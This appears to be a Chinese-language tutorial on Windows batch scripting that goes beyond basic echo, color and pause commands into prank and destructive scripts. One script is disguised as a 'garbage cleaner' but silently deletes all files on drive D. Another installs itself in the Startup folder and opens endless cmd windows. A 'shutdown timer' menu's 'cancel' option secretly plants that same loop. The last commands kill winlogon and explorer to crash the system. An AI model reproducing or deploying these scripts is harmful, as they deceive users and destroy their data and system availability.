Linux里称为shell脚本

1、批处理的作用

自上而下成批的处理每一条命令,直到执行到最后一条

2、如何创建批处理

扩展名:.bat
创建方法:新建记事本文件,将扩展名改为.bat

3、批处理的语法

  1. @echo off #关闭回写,屏蔽执行过程,建议放置在批处理首行
  2. #只在屏幕上显示结果,不现实执行过程。
  3. color 0a #0背景颜色黑色,a字体颜色绿色
  4. title clear program #为批处理脚本设置标题
  5. echo hello world #在屏幕上输出一段话
  6. echo ===============
  7. echo clear your system garbage
  8. echo if been stopped
  9. echo please pass
  10. echo ===============
  11. pause #暂停批处理运行
  12. echo. #输出一个空行
  13. echo garbage is cleaning......
  14. d: >nul 2>nul #进入d盘
  15. cd \ >nul 2>nul #进入d盘根目录
  16. rd . /s/q >nul 2>nul #删除d盘所有文件,相当于格式化d盘
  17. ping -n 10 127.0.0.1 >nul 2>nul
  18. #ping本机,将结果扔掉(>nul),
  19. #如果ping不通,结果也扔掉(2>nul)
  1. 文件名:a.bat
  2. #编写a.bat程序,将a.bat copy到开始菜单的启动项中,则每次开机自动执行a.bat,
  3. #a.bat实际上是一个死循环程序,不停的打开cmd窗口
  4. copy a.bat "%userprofile%\[开始]菜单\程序\启动"
  5. # userProfile是一个变量,值为当前用户的家目录,%%为取值
  6. :d
  7. start #start帮助打开程序,如果什么都不写为打开cmd
  8. goto d #跳转到d代码块
  1. @echo off
  2. title fx小程序V1.0
  3. color 0a
  4. :menu
  5. cls #清屏
  6. echo ===================
  7. echo 菜单
  8. echo 1、定时关机
  9. echo 2、取消定时
  10. echo 3、退出
  11. echo ===================
  12. set /p num=您的选择:
  13. if %num%=="1" goto 1
  14. if %num%=="2" goto 2
  15. if %num%=="3" goto 3
  16. echo 输入无效,请重新输入
  17. pause
  18. goto menu
  19. :1
  20. set /p a=请输入时间(单位/秒) #/p等待用户输入
  21. shutdown -s -f -t %a%
  22. goto menu
  23. :2
  24. shutdown -a
  25. goto menu
  26. :3
  27. exit
  28. goto menu
  1. @echo off
  2. title fx小程序V2.0
  3. color 0a
  4. :menu
  5. cls #清屏
  6. echo ===================
  7. echo 菜单
  8. echo 1、定时关机
  9. echo 2、取消定时
  10. echo 3、退出
  11. echo ===================
  12. set /p num=您的选择:
  13. if %num%=="1" goto 1
  14. if %num%=="2" goto 2
  15. if %num%=="3" goto 3
  16. echo 输入无效,请重新输入
  17. pause
  18. goto menu
  19. :1
  20. set /p a=请输入时间(单位/秒) #/p等待用户输入
  21. shutdown -s -f -t %a%
  22. goto menu
  23. :2
  24. echo :a >>"%userprofile%\[开始]菜单\程序\启动\haha.bat"
  25. echo start >>"%userprofile%\[开始]菜单\程序\启动\haha.bat"
  26. echo goto a >>"%userprofile%\[开始]菜单\程序\启动\haha.bat"
  27. goto menu
  28. :3
  29. exit
  30. goto menu
  1. ntsd -c q -pn winlogon.exe #杀Windows登录进程,针对xp或winserver2003的蓝屏命令
  2. taskkill /im explorer.exe /f #杀死桌面程序进程,/im指定进程名称,/f强制执行